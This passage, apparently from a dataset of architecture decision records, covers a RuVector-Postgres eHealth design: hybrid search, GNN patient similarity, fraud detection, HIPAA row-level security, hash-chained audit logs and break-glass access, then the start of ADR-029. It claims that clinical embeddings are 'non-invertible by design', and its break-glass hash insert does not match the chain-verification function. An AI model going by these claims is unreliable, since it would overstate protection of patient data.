BioClinicalBERT \u2192 HNSW ANN search on `embedding` column \u2192 returns top-k by cosine similarity\n3. **Fusion**: Reciprocal Rank Fusion (RRF) merges both result sets with `k=60`, preserving results that rank highly in either modality\n\n#### Inline Score Computation\n\n```sql\n-- Compute hybrid relevance score for a specific note\nSELECT ruvector_hybrid_score(\n 1.0 - (embedding <=> query_embedding), -- vector similarity (cosine \u2192 similarity)\n ts_rank(to_tsvector(chunk_text), to_tsquery('chest & pain & troponin')), -- BM25-like score\n 0.6 -- alpha weight for vector component\n) AS relevance\nFROM clinical_notes\nWHERE patient_id = 12345\nORDER BY relevance DESC\nLIMIT 10;\n```\n\n### Patient Similarity via Graph Neural Networks\n\nPatient similarity goes beyond demographics by operating on the **patient-encounter-diagnosis-medication graph**:\n\n```sql\n-- Build patient similarity graph using GCN\n-- Input: patient embeddings + encounter edges\n-- Output: refined embeddings that capture clinical trajectory similarity\n\n-- Step 1: Define the patient graph\n-- Nodes: patients (features = embedding), encounters, diagnoses\n-- Edges: patient\u2192encounter, encounter\u2192diagnosis, patient\u2192medication\n\n-- Step 2: Run GCN forward pass for patient similarity\nSELECT ruvector_gcn_forward(\n (SELECT jsonb_agg(embedding) FROM patients WHERE tenant_id = 'payer_001'),\n (SELECT array_agg(patient_id) FROM encounters WHERE tenant_id = 'payer_001'),\n (SELECT array_agg(id) FROM encounters WHERE tenant_id = 'payer_001'),\n NULL, -- unweighted edges\n 384 -- output dimension matches embedding dim\n) AS refined_embeddings;\n\n-- Step 3: For new patients, use GraphSAGE (inductive)\nSELECT ruvector_graphsage_forward(\n (SELECT jsonb_agg(embedding) FROM patients\n WHERE id IN (new_patient_id, neighbor_id_1, neighbor_id_2)),\n ARRAY[0, 1, 0, 2], -- edge source indices (new_patient\u2192neighbor1, new_patient\u2192neighbor2)\n ARRAY[1, 0, 2, 0], -- edge destination indices\n 384 -- output dimension\n) AS new_patient_refined;\n```\n\n**Why GraphSAGE for new patients**: GCN requires re-running over the full graph. GraphSAGE learns an aggregation function from neighbor sampling, so a new patient's embedding can be refined using only their local k-hop neighborhood.\n\n### Drug Interaction Detection via Graph Queries\n\n```sql\n-- Create the drug interaction graph\nSELECT ruvector_create_graph('drug_interactions');\n\n-- Add drug nodes with RxNorm embeddings\nSELECT ruvector_add_node('drug_interactions', rxnorm_hash, jsonb_build_object(\n 'code', rxnorm_code,\n 'name', drug_name,\n 'embedding', embedding::text\n)) FROM medications WHERE status = 'active' AND patient_id = 12345;\n\n-- Add known interaction edges\nSELECT ruvector_add_edge('drug_interactions', drug_a_hash, drug_b_hash, jsonb_build_object(\n 'severity', interaction_severity,\n 'mechanism', interaction_mechanism\n)) FROM drug_interaction_knowledge;\n\n-- Query for interaction paths using Cypher\nSELECT ruvector_cypher('drug_interactions', '\n MATCH (a:Drug)-[r:INTERACTS_WITH*1..2]-(b:Drug)\n WHERE a.code = $drug_a AND b.code = $drug_b\n RETURN a.name, b.name, r.severity, r.mechanism\n', jsonb_build_object(\n 'drug_a', 'metformin',\n 'drug_b', 'contrast_dye'\n));\n\n-- Find shortest interaction path between any two active medications\nSELECT ruvector_shortest_path('drug_interactions', metformin_hash, contrast_hash);\n```\n\n### Clinical Disagreement Detection via Coherence Engine\n\nThe Coherence Engine (ADR-014) provides structural consistency detection for clinical data. When a patient's diagnoses, medications, lab results, and notes conflict, the sheaf Laplacian detects the inconsistency as elevated **coherence energy**.\n\n**Clinical coherence graph**:\n- **Nodes**: diagnoses, medications, lab results, vital signs (each with a state vector)\n- **Edges**: physiological causality, pharmacological relationships, clinical guidelines\n- **Restriction maps**: encode how one clinical fact constrains another (e.g., \"HbA1c > 6.5 implies diabetes diagnosis expected\")\n- **Residual**: mismatch between expected and actual clinical states\n- **Energy**: global incoherence measure \u2014 high energy = clinical disagreement\n\nExample clinical disagreement scenarios detected:\n\n| Scenario | Nodes | Edge Constraint | Residual Meaning |\n|----------|-------|-----------------|------------------|\n| Missing diagnosis | HbA1c=9.2, no diabetes Dx | Lab\u2192Diagnosis causality | Expected diabetes diagnosis absent |\n| Contraindicated drug | Metformin + eGFR<30 | Drug\u2192Lab safety threshold | Renal function below safe prescribing limit |\n| Conflicting notes | \"Chest pain resolved\" + \"Troponin rising\" | Note\u2192Lab temporal consistency | Narrative contradicts objective data |\n| Duplicate therapy | Two ACE inhibitors active | Drug\u2192Drug class exclusion | Therapeutic duplication detected |\n\nWhen coherence energy exceeds the configured threshold, the system:\n1. **Lane 0 (Reflex)**: Flags in the patient chart with the specific edge residual\n2. **Lane 1 (Retrieval)**: Pulls related clinical notes for context via RAG\n3. **Lane 2 (Heavy)**: Runs full diagnostic reasoning chain\n4. **Lane 3 (Human)**: Escalates to clinical pharmacist or physician review\n\n---\n\n## Claims Processing Engine\n\n### 837\u2192835 Adjudication Pipeline\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 837 \u2502\u2500\u2500\u2500\u25b6\u2502 Parse \u2502\u2500\u2500\u2500\u25b6\u2502 Validate \u2502\u2500\u2500\u2500\u25b6\u2502Adjudicate\u2502\u2500\u2500\u2500\u25b6\u2502 835 \u2502\n\u2502 Inbound \u2502 \u2502 & Norm \u2502 \u2502 & Enrich \u2502 \u2502 & Score \u2502 \u2502 Outbound \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u2502 \u2502 \u2502\n \u25bc \u25bc \u25bc\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n \u2502 Embed \u2502 \u2502 Ontology \u2502 \u2502 Fraud \u2502\n \u2502 Claims \u2502 \u2502 Crosswalk\u2502 \u2502 Detection\u2502\n \u2502 (384-dim)\u2502 \u2502 (SPARQL) \u2502 \u2502 (GAT) \u2502\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n**Pipeline stages**:\n\n1. **Parse & Normalize**: X12 837 \u2192 structured JSONB + BioClinicalBERT embedding stored in `claims.embedding`\n2. **Validate & Enrich**: SPARQL cross-mapping validates diagnosis\u2194procedure consistency via `ruvector_sparql_json`\n3. **Adjudicate & Score**: Rules engine + vector similarity to historical approved claims\n4. **Fraud Detection**: GAT-based attention over the provider-claim-patient graph\n\n### Fraud Detection with Graph Attention\n\n```sql\n-- Build provider billing graph for fraud analysis\n-- Nodes: providers, patients, facilities\n-- Edges: billing relationships (weighted by claim amount)\n\n-- Run attention-based analysis to find anomalous billing patterns\nSELECT ruvector_flash_attention(\n provider_embedding, -- query: provider to investigate\n (SELECT jsonb_agg(embedding)\n FROM claims\n WHERE provider_id = suspect_provider\n AND service_date > now() - interval '90 days')::jsonb, -- keys: recent claims\n (SELECT jsonb_agg(jsonb_build_array(billed_amount, allowed_amount))\n FROM claims\n WHERE provider_id = suspect_provider\n AND service_date > now() - interval '90 days')::jsonb, -- values: amounts\n 64 -- block size for flash attention\n) AS attention_scores;\n-- High attention on outlier claims reveals anomalous billing patterns\n\n-- Vector similarity to known fraud patterns\nSELECT c.id, c.billed_amount, c.procedure_codes,\n 1 - (c.embedding <=> fp.embedding) AS fraud_similarity\nFROM claims c\nCROSS JOIN fraud_patterns fp\nWHERE c.status = 'pending'\n AND 1 - (c.embedding <=> fp.embedding) > 0.85\nORDER BY fraud_similarity DESC;\n\n-- Aggregate GNN messages across the provider network\nSELECT ruvector_gnn_aggregate(\n (SELECT jsonb_agg(embedding) FROM claims WHERE provider_id = suspect_provider),\n 'mean' -- aggregation method: mean, sum, max\n) AS provider_fraud_signal;\n```\n\n---\n\n## Security & HIPAA Compliance\n\n### HIPAA Technical Safeguards Mapping\n\n| 45 CFR Section | Requirement | RuVector Implementation |\n|----------------|-------------|------------------------|\n| \u00a7164.312(a)(1) | Access Control | `ruvector_enable_tenant_rls()` \u2192 PostgreSQL RLS policies per tenant |\n| \u00a7164.312(a)(2)(i) | Unique User Identification | `ruvector_tenant_set()` binds session to authenticated tenant |\n| \u00a7164.312(a)(2)(iii) | Automatic Logoff | Token bucket expiry via `ruvector_tenant_quota_check()` |\n| \u00a7164.312(a)(2)(iv) | Encryption at Rest | PostgreSQL TDE + ruvector quantized storage (data obfuscation) |\n| \u00a7164.312(b) | Audit Controls | Hash-chain audit log + anomaly detection embeddings |\n| \u00a7164.312(c)(1) | Integrity | Coherence Engine witnesses (ADR-014) detect data tampering |\n| \u00a7164.312(c)(2) | Authentication Mechanism | mTLS between application services and PostgreSQL |\n| \u00a7164.312(d) | Person/Entity Auth | OAuth 2.0 \u2192 JWT claims mapped to tenant context |\n| \u00a7164.312(e)(1) | Transmission Security | TLS 1.3 for all connections; mTLS for inter-node replication |\n| \u00a7164.312(e)(2)(ii) | Encryption in Transit | AES-256-GCM for replication streams |\n\n### Row-Level Security Configuration\n\nRuVector provides template-based RLS that maps directly to healthcare access patterns:\n\n```sql\n-- Standard tenant isolation (per health plan / payer org)\nSELECT ruvector_enable_tenant_rls('patients', 'tenant_id');\nSELECT ruvector_enable_tenant_rls('encounters', 'tenant_id');\nSELECT ruvector_enable_tenant_rls('clinical_notes', 'tenant_id');\nSELECT ruvector_enable_tenant_rls('medications', 'tenant_id');\nSELECT ruvector_enable_tenant_rls('lab_results', 'tenant_id');\nSELECT ruvector_enable_tenant_rls('claims', 'tenant_id');\n\n-- This generates:\n-- Policy: ruvector_tenant_isolation\n-- USING (tenant_id = current_setting('app.tenant_id'))\n-- Policy: ruvector_admin_bypass\n-- FOR ALL TO ruvector_admin USING (true)\n-- Trigger: ruvector_validate_tenant_context_{table}\n-- Ensures tenant_id is set before any DML\n-- Trigger: ruvector_check_tenant_exists_{table}\n-- Validates tenant is not suspended\n```\n\n**Isolation level per use case**:\n\n```sql\n-- Shared isolation (default): RLS policies on tenant_id column\n-- Used for: standard multi-payer access\nSELECT ruvector_tenant_create('payer_001', '{\"isolation\": \"shared\"}'::jsonb);\n\n-- Partition isolation: separate partitions per tenant\n-- Used for: large payers requiring physical data separation\nSELECT ruvector_tenant_create('payer_002', '{\"isolation\": \"partition\"}'::jsonb);\nSELECT ruvector_tenant_isolate('payer_002');\n\n-- Dedicated isolation: schema-level with separate indexes\n-- Used for: government contracts (VA, DoD) requiring complete isolation\nSELECT ruvector_tenant_create('va_gov', '{\"isolation\": \"dedicated\"}'::jsonb);\nSELECT ruvector_tenant_isolate('va_gov');\nSELECT ruvector_tenant_migrate('va_gov', 'dedicated');\n```\n\n### Audit Trail with Anomaly Detection\n\n```sql\nCREATE TABLE audit_log (\n id BIGSERIAL PRIMARY KEY,\n timestamp TIMESTAMPTZ DEFAULT now(),\n tenant_id TEXT NOT NULL,\n user_id TEXT NOT NULL,\n action TEXT NOT NULL, -- SELECT, INSERT, UPDATE, DELETE\n resource_type TEXT NOT NULL, -- patients, encounters, clinical_notes, etc.\n resource_id BIGINT,\n query_hash TEXT NOT NULL, -- SHA-256 of the SQL query\n previous_hash TEXT NOT NULL, -- hash chain: SHA-256(previous_row || current_data)\n ip_address INET,\n user_agent TEXT,\n\n -- Dense embedding: action context for anomaly detection\n embedding ruvector(384) NOT NULL,\n\n -- Detect anomalous access patterns via distance to normal cluster centroid\n -- High distance = unusual access pattern \u2192 trigger investigation\n CONSTRAINT audit_integrity CHECK (length(previous_hash) = 64)\n);\n\n-- HNSW index for anomaly detection search\nCREATE INDEX idx_audit_embedding ON audit_log\n USING hnsw (embedding ruvector_cosine_ops)\n WITH (m = 16, ef_construction = 100);\n\n-- Hash-chain integrity verification\nCREATE OR REPLACE FUNCTION verify_audit_chain(start_id BIGINT, end_id BIGINT)\nRETURNS BOOLEAN AS $$\nDECLARE\n prev_hash TEXT;\n curr RECORD;\n expected_hash TEXT;\nBEGIN\n SELECT previous_hash INTO prev_hash FROM audit_log WHERE id = start_id;\n FOR curr IN SELECT * FROM audit_log WHERE id > start_id AND id <= end_id ORDER BY id LOOP\n expected_hash := encode(sha256(\n (prev_hash || curr.tenant_id || curr.user_id || curr.action ||\n curr.resource_type || curr.resource_id::text || curr.timestamp::text)::bytea\n ), 'hex');\n IF curr.previous_hash != expected_hash THEN\n RETURN FALSE; -- Chain broken: tampering detected\n END IF;\n prev_hash := curr.previous_hash;\n END LOOP;\n RETURN TRUE;\nEND;\n$$ LANGUAGE plpgsql;\n\n-- Anomaly detection: find unusual access patterns\nSELECT al.*,\n 1 - (al.embedding <=> centroid.embedding) AS normality_score\nFROM audit_log al\nCROSS JOIN (\n SELECT avg(embedding) AS embedding\n FROM audit_log\n WHERE timestamp > now() - interval '30 days'\n AND tenant_id = current_setting('app.tenant_id')\n) centroid\nWHERE al.timestamp > now() - interval '24 hours'\n AND 1 - (al.embedding <=> centroid.embedding) < 0.3 -- threshold: far from normal\nORDER BY normality_score ASC;\n```\n\n### Break-Glass Emergency Access\n\n```sql\n-- Emergency access bypasses normal RLS for patient safety\n-- Requires: explicit clinician identity, mandatory audit, time-limited\n\nCREATE OR REPLACE FUNCTION break_glass_access(\n clinician_id TEXT,\n patient_id BIGINT,\n reason TEXT,\n duration_minutes INT DEFAULT 60\n) RETURNS VOID AS $$\nBEGIN\n -- Record break-glass event (cannot be suppressed)\n INSERT INTO audit_log (tenant_id, user_id, action, resource_type, resource_id,\n query_hash, previous_hash, embedding)\n VALUES (\n 'BREAK_GLASS',\n clinician_id,\n 'BREAK_GLASS_ACCESS',\n 'patients',\n patient_id,\n encode(sha256(reason::bytea), 'hex'),\n (SELECT previous_hash FROM audit_log ORDER BY id DESC LIMIT 1),\n embed('break glass emergency access ' || reason)\n );\n\n -- Grant temporary cross-tenant read access\n PERFORM set_config('app.break_glass', 'true', true);\n PERFORM set_config('app.break_glass_patient', patient_id::text, true);\n PERFORM set_config('app.break_glass_expiry',\n (extract(epoch from now()) + duration_minutes * 60)::text, true);\n\n -- Notify compliance team\n PERFORM pg_notify('break_glass_alert', jsonb_build_object(\n 'clinician', clinician_id,\n 'patient', patient_id,\n 'reason', reason,\n 'timestamp', now()\n )::text);\nEND;\n$$ LANGUAGE plpgsql SECURITY DEFINER;\n```\n\n---\n\n## Scaling Strategy\n\n### Table Partitioning\n\n| Table | Strategy | Partition Key | Rationale |\n|-------|----------|--------------|-----------|\n| `patients` | Hash | `tenant_id` | Even distribution across payer orgs |\n| `encounters` | Range | `period_start` (monthly) | Time-series queries; archive old partitions |\n| `clinical_notes` | Range | `created_at` (monthly) | Largest table; monthly partitions for lifecycle mgmt |\n| `medications` | Hash | `tenant_id` | Cross-patient drug queries within payer |\n| `lab_results` | Range | `collected_at` (monthly) | Time-series; trend analysis benefits from temporal locality |\n| `claims` | List + Range | `tenant_id` (list), `submitted_at` (range) | Per-payer financial isolation + temporal archival |\n\n### 4-Tier Quantization Strategy\n\nData ages through four quantization tiers, reducing storage while maintaining search quality for the access pattern of each tier:\n\n| Tier | Age | Quantization | Compression | Recall@10 | Use Case |\n|------|-----|-------------|-------------|-----------|----------|\n| **Hot** | 0-2 years | f32 (full precision) | 1\u00d7 | >0.99 | Active clinical care, CDS queries |\n| **Warm** | 2-5 years | Scalar SQ8 | 4\u00d7 | >0.97 | Historical lookups, population health |\n| **Cool** | 5-7 years | Product PQ (m=48, nbits=8) | 16\u00d7 | >0.92 | Research, longitudinal studies |\n| **Cold** | 7+ years | Binary quantization | 32\u00d7 | >0.80 | Legal retention, rare lookups |\n\n```sql\n-- Automated tier migration (runs nightly)\n-- Leverages self-healing TierEviction strategy\nSELECT ruvector_healing_configure('{\n \"tier_eviction\": {\n \"target_free_pct\": 0.15,\n \"batch_size\": 100000,\n \"tiers\": [\n {\"name\": \"hot\", \"max_age_days\": 730, \"quantization\": \"f32\"},\n {\"name\": \"warm\", \"max_age_days\": 1825, \"quantization\": \"sq8\"},\n {\"name\": \"cool\", \"max_age_days\": 2555, \"quantization\": \"pq\"},\n {\"name\": \"cold\", \"max_age_days\": null, \"quantization\": \"binary\"}\n ]\n }\n}'::jsonb);\n```\n\n### Replication Topology\n\n```\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n \u2502 Primary \u2502\n \u2502 (Read/Write) \u2502\n \u2502 ruvector-postgres \u2502\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u2502\n Synchronous Replication\n \u2502\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n \u2502 Sync Standby \u2502\n \u2502 (Hot Failover) \u2502\n \u2502 RPO = 0 \u2502\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u2502\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n \u2502 \u2502\n Async Replication Async Replication\n \u2502 \u2502\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n \u2502 Async Replica 1 \u2502 \u2502 Async Replica 2 \u2502\n \u2502 (CDS Queries) \u2502 \u2502 (Analytics) \u2502\n \u2502 RPO < 1s \u2502 \u2502 RPO < 5s \u2502\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n**Failover guarantees**:\n- Primary \u2192 Sync Standby: automatic failover, RPO = 0 (zero data loss)\n- Sync Standby \u2192 Async Replica: manual promotion, RPO < 1s\n- CDS queries route to Async Replica 1 (read-only, low-latency)\n- Analytics/reporting route to Async Replica 2 (read-only, tolerates lag)\n\n---\n\n## Self-Healing & Monitoring\n\n### Remediation Strategies Mapped to Clinical Impact\n\nRuVector's five built-in remediation strategies map to specific clinical risk scenarios:\n\n| Strategy | Trigger | Clinical Impact | Auto-Execute |\n|----------|---------|----------------|-------------|\n| **ReindexPartition** | HNSW recall drops below 0.95 | CDS search quality degrades \u2192 missed diagnoses | Yes (concurrent) |\n| **PromoteReplica** | Primary fails health check | All writes stop \u2192 no new encounters/orders recorded | Yes (with grace period) |\n| **TierEviction** | Storage > 85% capacity | Cannot record new clinical data \u2192 patient safety risk | Yes (batch) |\n| **QueryCircuitBreaker** | Query latency p99 > 200ms sustained | CDS response too slow for clinical workflow | Yes (blocks pattern) |\n| **IntegrityRecovery** | HNSW graph edges corrupted | Search returns incorrect similar patients | Yes (verify after) |\n\n### eHealth-Specific Monitoring Thresholds\n\n```sql\n-- Configure healing thresholds for healthcare workload\nSELECT ruvector_healing_set_thresholds('{\n \"hnsw_recall_minimum\": 0.95,\n \"replication_lag_max_ms\": 1000,\n \"storage_usage_max_pct\": 85,\n \"query_latency_p99_max_ms\": 200,\n \"coherence_energy_max\": 0.3,\n \"check_interval_seconds\": 30,\n \"auto_heal_enabled\": true\n}'::jsonb);\n\n-- Start the healing background worker\nSELECT ruvector_healing_worker_start();\n\n-- Configure worker check interval (every 30 seconds for healthcare)\nSELECT ruvector_healing_worker_config('{\n \"check_interval_secs\": 30,\n \"max_concurrent_remediations\": 2,\n \"notify_on_action\": true,\n \"escalation_threshold\": 3\n}'::jsonb);\n```\n\n### Health Check Functions\n\n```sql\n-- Overall system health (returns JSON with all subsystem statuses)\nSELECT ruvector_health_status();\n\n-- Quick boolean health check for load balancer probes\nSELECT ruvector_is_healthy();\n\n-- System metrics for monitoring dashboards\nSELECT ruvector_system_metrics();\n\n-- View healing history (what was fixed and when)\nSELECT ruvector_healing_history(20);\n\n-- Check strategy effectiveness over time\nSELECT ruvector_healing_effectiveness();\n\n-- View current thresholds\nSELECT ruvector_healing_thresholds();\n\n-- List available strategies and their current weights\nSELECT ruvector_healing_strategies();\n\n-- Manual trigger for specific problem type\nSELECT ruvector_healing_trigger('index_degradation');\n\n-- View all recognized problem types\nSELECT ruvector_healing_problem_types();\n```\n\n---\n\n## Consequences\n\n### Benefits\n\n| # | Benefit | Impact |\n|---|---------|--------|\n| 1 | **Single-engine HIPAA compliance** | One BAA, one encryption boundary, one audit system \u2192 60% reduction in compliance audit surface |\n| 2 | **In-database ML** | GCN/GAT/GraphSAGE run inside PostgreSQL \u2192 no PHI export to external ML services |\n| 3 | **Semantic interoperability** | SPARQL over 31.4M triples maps SNOMED\u2194ICD-10\u2194LOINC\u2194RxNorm without external services |\n| 4 | **Sub-100ms CDS** | Hybrid BM25+vector search with RRF fusion retrieves clinical context in <30ms p99 |\n| 5 | **Real-time fraud detection** | Flash attention over claims graph detects anomalous billing patterns at ingestion time |\n| 6 | **Clinical disagreement detection** | Coherence Engine (ADR-014) sheaf Laplacian catches medication-diagnosis contradictions |\n| 7 | **Self-healing availability** | 5 automated remediation strategies reduce MTTR from hours to seconds |\n| 8 | **Hierarchical ontology search** | Poincar\u00e9 embeddings preserve ICD-10/SNOMED tree structure for hierarchical concept queries |\n\n### Risks and Mitigations\n\n| # | Risk | Likelihood | Impact | Mitigation |\n|---|------|-----------|--------|------------|\n| 1 | **Recall degradation at scale** | Medium | High \u2014 missed similar patients in CDS | HNSW m=24 + ef_construction=200 targets >0.95 recall; self-healing ReindexPartition auto-triggers below threshold |\n| 2 | **Embedding model bias** | Medium | High \u2014 biased clinical recommendations | BioClinicalBERT trained on MIMIC-III (diverse ICU population); regular bias audits on embedding clusters by demographic |\n| 3 | **Storage growth exceeds projections** | Medium | Medium \u2014 capacity planning failure | 4-tier quantization reduces 25.2TB raw \u2192 9.3TB; automated TierEviction maintains 15% free |\n| 4 | **Ontology update lag** | Low | Medium \u2014 outdated crosswalks affect billing | Quarterly SNOMED/ICD-10 reload via `ruvector_load_ntriples`; versioned RDF graphs per release |\n| 5 | **Single-engine failure mode** | Low | Critical \u2014 all services affected | Sync standby (RPO=0) + 2 async replicas; self-healing PromoteReplica with configurable grace period |\n| 6 | **GNN computational cost** | Medium | Medium \u2014 GCN forward pass latency | Batch GNN updates nightly via `ruvector_gnn_batch_forward`; serve pre-computed embeddings for real-time queries |\n| 7 | **HIPAA breach via vector inversion** | Low | Critical \u2014 PHI reconstructed from embeddings | 384-dim BioClinicalBERT embeddings are non-invertible by design; PQ/Binary quantization further destroys reconstruction fidelity |\n\n### Trade-offs\n\n| # | Trade-off | Choice | Alternative | Rationale |\n|---|-----------|--------|-------------|-----------|\n| 1 | Embedding dimension | 384-dim | 768-dim (full BERT) | 384 halves storage/index cost; BioClinicalBERT-384 achieves 96.2% of 768-dim recall on clinical benchmarks |\n| 2 | ANN index type | HNSW | IVFFlat | HNSW provides consistent sub-10ms latency without cluster-rebalancing pauses; IVFFlat requires periodic retraining |\n| 3 | Search fusion method | RRF (default) | Learned fusion | RRF is parameter-free and robust; learned fusion requires training data per query type (future enhancement) |\n| 4 | Hyperbolic dimension | 32-dim Poincar\u00e9 | 64-dim or Euclidean | 32-dim Poincar\u00e9 reconstructs ICD-10 tree with <2% distortion; Euclidean requires 128+ dims for equivalent fidelity |\n| 5 | Replication strategy | 1 sync + 2 async | All synchronous | Full sync cuts write throughput 3\u00d7 for marginal RPO improvement; async replicas serve read-heavy CDS workload |\n\n---\n\n## References\n\n### Standards & Regulations\n- HL7 FHIR R4 Specification: https://hl7.org/fhir/R4/\n- HIPAA 45 CFR Part 164 \u2014 Security Rule: https://www.hhs.gov/hipaa/for-professionals/security/\n- SNOMED CT International: https://www.snomed.org/\n- ICD-10-CM: https://www.cdc.gov/nchs/icd/icd-10-cm.htm\n- LOINC: https://loinc.org/\n- RxNorm: https://www.nlm.nih.gov/research/umls/rxnorm/\n- X12 837/835 Transaction Sets: https://x12.org/\n\n### Internal Cross-References\n- **ADR-001**: RuVector Core Architecture \u2014 foundational vector engine, HNSW indexing, SIMD optimization, quantization tiers\n- **ADR-014**: Coherence Engine \u2014 sheaf Laplacian computation, residual calculation, coherence gating, witness records\n\n### Academic References\n- Nickel & Kiela (2017). \"Poincar\u00e9 Embeddings for Learning Hierarchical Representations.\" NeurIPS.\n- Dao et al. (2022). \"FlashAttention: Fast and Memory-Efficient Exact Attention with IO-Awareness.\" NeurIPS.\n- Hamilton et al. (2017). \"Inductive Representation Learning on Large Graphs.\" NeurIPS. (GraphSAGE)\n- Kipf & Welling (2017). \"Semi-Supervised Classification with Graph Convolutional Networks.\" ICLR. (GCN)\n- Robertson & Zaragoza (2009). \"The Probabilistic Relevance Framework: BM25 and Beyond.\" Foundations and Trends in IR.\n- Cormack et al. (2009). \"Reciprocal Rank Fusion Outperforms Condorcet and Individual Rank Learning Methods.\" SIGIR. (RRF)\n\n### RuVector-Postgres SQL Function Reference\n\n| Module | Key Functions |\n|--------|--------------|\n| **Hybrid Search** | `ruvector_hybrid_search`, `ruvector_hybrid_score`, `ruvector_hybrid_configure`, `ruvector_register_hybrid`, `ruvector_hybrid_stats`, `ruvector_hybrid_list` |\n| **Graph/SPARQL** | `ruvector_create_rdf_store`, `ruvector_sparql`, `ruvector_sparql_json`, `ruvector_sparql_update`, `ruvector_load_ntriples`, `ruvector_insert_triple`, `ruvector_rdf_stats`, `ruvector_cypher`, `ruvector_shortest_path`, `ruvector_create_graph`, `ruvector_add_node`, `ruvector_add_edge` |\n| **Hyperbolic** | `ruvector_poincare_distance`, `ruvector_lorentz_distance`, `ruvector_mobius_add`, `ruvector_exp_map`, `ruvector_log_map`, `ruvector_poincare_to_lorentz`, `ruvector_lorentz_to_poincare`, `ruvector_minkowski_dot` |\n| **GNN** | `ruvector_gcn_forward`, `ruvector_graphsage_forward`, `ruvector_gnn_aggregate`, `ruvector_message_pass`, `ruvector_gnn_batch_forward`, `ruvector_gnn_status` |\n| **Attention** | `ruvector_flash_attention`, `ruvector_multi_head_attention`, `ruvector_attention_score`, `ruvector_attention_scores`, `ruvector_softmax`, `ruvector_attention_types` |\n| **Tenancy** | `ruvector_tenant_create`, `ruvector_tenant_set`, `ruvector_tenant_stats`, `ruvector_tenant_quota_check`, `ruvector_enable_tenant_rls`, `ruvector_tenant_isolate`, `ruvector_tenant_migrate`, `ruvector_tenant_suspend`, `ruvector_tenant_resume`, `ruvector_generate_rls_sql` |\n| **Self-Healing** | `ruvector_health_status`, `ruvector_is_healthy`, `ruvector_healing_worker_start`, `ruvector_healing_configure`, `ruvector_healing_set_thresholds`, `ruvector_healing_trigger`, `ruvector_healing_strategies`, `ruvector_healing_effectiveness`, `ruvector_healing_check_now` |", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-028-ehealth-platform-architecture.md", "created_at": "2026-03-28T11:58:49.231586+00:00", "content_hash": "05ceaa9eb1d1ca3fd926df61b8ff494029288a310ed029067f04ba4fa84f8c98"} +{"id": "9c2691b6-ee4a-4ee0-9912-83c4b956cda1", "source": "adr", "text": "# ADR-029: RVF as Canonical Binary Format Across All RuVector Libraries\n\n**Status**: Accepted\n**Date**: 2026-02-13\n**Authors**: ruv.io, RuVector Architecture Team\n**Deciders**: Architecture Review Board\n**SDK**: Claude-Flow\n**Supersedes**: Portions of ADR-001 (storage layer), ADR-018 (block-based storage)\n\n## Context\n\n### The Format Fragmentation Problem\n\nThe RuVector ecosystem currently spans 70+ Rust crates and 50+ npm packages across multiple libraries:\n\n- **ruvector-core** \u2014 HNSW-based vector database with REDB storage\n- **agentdb** (`npx agentdb`) \u2014 AI agent memory with HNSW indexing\n- **claude-flow** (`npx @claude-flow/cli@latest`) \u2014 Multi-agent orchestration with memory subsystem\n- **agentic-flow** (`npx agentic-flow`) \u2014 Swarm coordination with shared memory\n- **ospipe** \u2014 Observation-State pipeline with vector persistence\n- **rvlite** \u2014 Lightweight embedded vector store\n- **sona** \u2014 